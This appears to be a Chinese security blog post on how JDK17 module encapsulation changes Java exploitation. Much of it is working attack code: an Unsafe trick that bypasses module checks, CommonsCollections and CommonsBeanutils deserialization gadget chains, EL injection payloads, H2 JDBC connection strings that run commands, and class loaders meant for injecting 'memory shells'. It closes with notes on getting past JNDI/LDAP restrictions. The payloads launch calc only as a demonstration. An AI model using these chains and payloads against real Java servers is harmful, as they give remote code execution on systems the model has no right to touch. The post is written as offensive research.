1. 前言
在线源码查看网站。
https://code.yawk.at/java/
jdk各版本下载(需注册)。
https://www.oracle.com/java/technologies/downloads/archive/
在了解JDK17对java安全的影响之前,需要了解高版本JDK有哪些新特性,这些新特性都基于JDK9开始的模块化。
分析过JDK源码的人会发现,在<=JDK8时,JDK核心代码位于rt.jar。
在>=JDK9时,JDK核心代码位于modules。
用jimage解压。
jimage extract modules
这就是模块化,每个模块都有一个核心配置文件,module-info.class。
一般而言,只有exports声明包名的类,才能使用,只有opens声明包名的类,才能反射其私有属性。但这些在JDK17之前,都没有正式上线,只是会提示不安全。
(实际上是JDK16开始的,但由于JDK16不是LTS版本,所以一般不提它)
JDK17之后,进行了强封装,所以当你想new一个没有 exports的类,会报错。
当你想反射一个私有属性,也会报错。
前者无解,后者却是有解的,我们跟进代码到java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class)
可以发现,如果源于同模块,就能返回true,使得校验通过。
所以前人发明出了修改当前运行类的模块偏移的办法。当然,可以看到这份代码也需要使用反射,但sun.misc包刚好是opens的。
public class Test {
public static void main(String[] args) throws Exception {
patchModule(Test.class);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, "foo");
}
private static void patchModule(Class clazz){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(Object.class);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}
}
在写内存马和生成序列化payload的过程中,我们不可避免要使用大量反射,因此需要多次patchModule。
2. BadAttributeValueExpException
最著名的readObject触发toString链条,在CC5,fastjson原生链,jackson原生链中都有它的身影。但它实际上只能用于JDK8-14,核心代码如下。
在JDK7中,它没有实现readObject()
在JDK15中,val属性变成String了。
不过好在触发toString有许多替代品,比如EventListenerList/HotSwappableTargetSource/TextAndMnemonicHashMap。
3. TemplatesImpl
最最通用的字节码加载器,一个getter就能实现任意恶意代码,大部分反序列化链的最终sink点。在JDK16,因为模块化的强封装而完全不能使用。
因为反序列化的过程中本质上也是读取序列化的字节码,来实例化TemplatesImpl,因此想在低版本JDK中生成序列化payload,再去JDK16中反序列化,也是不可行的。
而且它没有好的替代品。也就是说JDK16往上,getter的反序列化链都只能走jdbc或者jndi,十分依赖出网和第三方依赖。
4. CC234/CB/Fastjson/Jackson
这些全都用了TemplatesImpl,因此都不再可用,需要改造。
CommonsCollections系列可以循环反射来调用大部分方法,因此直接命令执行或者写文件都还是可以的。
如果想通过字节码加载类,可以使用MethodHandles这个加载器。
public static void main(String[] args) throws Exception {
byte[] bs = Files.readAllBytes(Paths.get("D:\Downloads\workspace\javareadobject\bin\test\CmdCalc.class"));
java.lang.invoke.MethodHandles.lookup().defineClass(bs).newInstance();
}
但是它有个缺陷就是只能加载同包名下的类,因此在CC链中,它加载的类的包名必须为org.apache.commons.collections.functors
byte[] memcode = Files.readAllBytes(Paths.get("D:\Downloads\workspace\javareadobject\bin\org\apache\commons\collections\functors\CmdCalc.class"));
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(MethodHandles.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{memcode}),
new InstantiateTransformer(new Class[0], new Object[0]),
new ConstantTransformer(1)
};
CommonsBeanutils链,本质触发任意getter,失去了TemplatesImpl,只能走jdbc/jndi。
以最简单的SSRF为例。
package test;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;
public class Test {
public static void main(String[] args) throws Exception {
patchModule(Test.class);
URL url = new URL("http://127.0.0.1:5667");
//url.getContent();
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "content");
setFieldValue(queue, "queue", new Object[]{url, url});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
private static void patchModule(Class clazz){
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);
Object ObjectModule = Class.class.getMethod("getModule").invoke(Object.class);
Class currentClass = clazz;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,ObjectModule);
} catch (Exception e) {
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Fastjson/Jackson,本质toString转getter,失去了TemplatesImpl和BadAttributeValueExpException,只能走EventListenerList/HotSwappableTargetSource/TextAndMnemonicHashMap转jdbc/jndi。
5. EL/Nashorn
JDK15完全移除了Nashorn
这使得EL表达式受到了极大的限制,因为我们通常都是用EL表达式转Nashorn来执行多行js代码。
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")}
怎么办呢?还是可以用MethodHandles,但加载的类包名必须为javax.el
public static void main(String[] args) throws Exception {
byte[] bs = Files.readAllBytes(Paths.get("D:\Downloads\workspace\javareadobject\bin\javax\el\CmdCalc.class"));
String base64class = Base64.getEncoder().encodeToString(bs);
String payload8 = "''.getClass().forName("java.lang.invoke.MethodHandles").getMethod("lookup").invoke(null).defineClass(''.getClass().forName("java.util.Base64").getMethod("getDecoder").invoke(null).decode(""
+ base64class
+ "")).newInstance()";
String el = "${" + payload8 + "}";
System.out.println(el);
ELProcessor eLProcessor = new ELProcessor();
eLProcessor.eval(payload8);
}
6. H2
H2作为最好用的jdbc,在高版本JDK也失去了Nashorn,这使得常规的命令执行payload失效了。
public static void main(String[] args) throws Exception {
String driver = "org.h2.Driver";
Class.forName(driver);
String payload1 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONn" +
"INFORMATION_SCHEMA.TABLES AS $$//javascriptn" +
"java.lang.Runtime.getRuntime().exec('calc')\;n" +
"$$n";
System.out.println(payload1);
Connection conn = DriverManager.getConnection(payload1);
}
但还是可以通过非javascript的方式执行命令。
public static void main(String[] args) throws Exception {
String driver = "org.h2.Driver";
Class.forName(driver);
String payload4 = "jdbc:h2:mem:testdb;"
+ "TRACE_LEVEL_SYSTEM_OUT=3;"
+ "INIT=CREATE ALIAS EXEC AS '"
+ "String shellexec(String cmd) throws java.io.IOException "
+ "{Runtime.getRuntime().exec(cmd)\;return "1"\;}"
+ "'\;CALL EXEC ('calc')";
System.out.println(payload4);
Connection conn = DriverManager.getConnection(payload4);
}
7. becl
JDK> 8u251就没了
8. defineClass
在JDK17中,原生ClassLoader.defineClass需要反射,因此也受到模块化强封装的影响,需要patchModule
前面提到过patchModule所需的sun.misc.Unsafe,由于是opens,因此可以反射。它也曾经拥有过defineClass和defineAnonymousClass两个方法可以加载类,但分别于jdk11和jdk16被移除了。
private static void jdk9_10() throws Exception{
byte[] decode = Base64.base64_decode(base64class);
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Field theUafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUafeField.get(null);
Class<?> c2=unsafe.defineClass("Testx",decode,0,decode.length,classLoader,null);
c2.newInstance();
}
private static void jdk9_16() throws Exception{
byte[] decode = Base64.base64_decode(base64class);
Field theUafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUafeField.get(null);
Class<?> c2 = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),decode,null);
c2.newInstance();
}
第三方依赖Rhino/js的org.mozilla.javascript.DefiningClassLoader#defineClass()没有任何限制,因此也可以接在CC链上。
String classname = "CmdCalc";
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"+classname+".class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
String base64String = new String(Base64.getEncoder().encode(bs));
System.out.print(base64String);
DefiningClassLoader.class.newInstance().defineClass("test.CmdCalc",bs).newInstance();
9. LDAP
对于LDAP,jdk17和高版本jdk11没有什么区别,都是默认无法远程加载class,可以反序列化和ObjectFactory。
也就是com.sun.jndi.ldap.VersionHelper中的
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustSerialData=true
但这并不意味着寻常的JNDI注入工具可以直接打JDK17,因为上面的那些细节,使得很多payload都需要做兼容性改造。
一直到JDK20,才会变成双false。
于是就过不去com.sun.jndi.ldap.Obj#decodeObject()中的校验了。
ObjectFactory呢?在JDK17里面,入口位于com.sun.jndi.ldap.LdapCtx#c_lookup()
而JDK20,这里变成了。
跟进之后发现是从一个地址中筛选白名单factory,也就是类名必须符合”java.naming/com.sun.jndi.ldap.**;!*”条件。
同理,下面则是RMI协议的条件。简单来说ObjectFactory绕过在JDK20也失效了,JDK20+环境下的jndi注入转ldap将毫无意义。
不过RMI反序列化的点非常多,所以还有两个漏网之鱼,详情见。
https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc
原文始发于微信公众号(珂技知识分享):jdk17对java安全的影响